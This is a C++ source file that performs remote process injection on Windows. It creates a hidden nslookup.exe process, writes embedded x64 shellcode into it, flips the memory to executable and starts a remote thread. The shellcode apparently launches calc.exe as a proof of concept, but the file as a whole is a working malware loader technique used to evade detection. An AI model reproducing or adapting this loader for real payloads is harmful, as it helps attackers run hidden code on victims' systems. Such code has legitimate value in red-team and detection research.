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Remote_Process_Injection.cpp
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#include <Windows.h>
#include <iostream>
#include <string>
#include <cstdlib>
// calc shellcode
// payload stored in .rdata section
const unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
const unsigned int payloadLength = sizeof(payload);
int main(void)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
BOOL targetProc;
BOOL exec_mem;
PVOID buffer;
HANDLE rt;
DWORD oldprotect;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&si, sizeof(pi));
si.cb = sizeof(si);
/* Creates a new process and its primary thread. */
targetProc = CreateProcessW(
L"C:\\Windows\\System32\\nslookup.exe", // lpApplicationName
NULL, // lpCommandLine
NULL, // lpProcessAttributes
NULL, // lpThreadAttributes
FALSE, // bInheritHandles
CREATE_NO_WINDOW, // dwCreationFlags
NULL, // lpEnvironment
NULL, // lpCurrentDirectory
&si, // lpStartupInfo
&pi // lpProcessInformation
);
WaitForSingleObject(pi.hProcess, 1000);
/* Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. */
buffer = VirtualAllocEx(
pi.hProcess, // hProcess
NULL, // lpAddress
payloadLength, // dwSize
(MEM_RESERVE | MEM_COMMIT), // flAllocationType
PAGE_READWRITE // flProtect
);
/* Writes data to an area of memory in a specified process. */
WriteProcessMemory(
pi.hProcess, // hProcess
buffer, // lpBaseAddress
payload, // lpBuffer
payloadLength, // nSize
NULL // *lpNumberOfBytesWritten
);
/* Changes the protection on a region of committed pages in the virtual address space of a specified process. */
exec_mem = VirtualProtectEx(
pi.hProcess, // hProcess
buffer, // lpAddress
payloadLength, // dwSize
PAGE_EXECUTE_READ, // flNewProtect
&oldprotect // lpflOldProtect
);
if (exec_mem != 0)
{
/* Creates a thread that runs in the virtual address space of another process. */
rt = CreateRemoteThread(
pi.hProcess, // hProcess
NULL, // lpThreadAttributes
NULL, // dwStackSize
(LPTHREAD_START_ROUTINE)buffer, // lpStartAddress
NULL, // lpParameter
0, // dwCreationFlags
NULL // lpThreadId
);
CloseHandle(pi.hProcess);
}
else
{
std::cout << "Error: " << GetLastError() << std::endl;
}
return 0;
}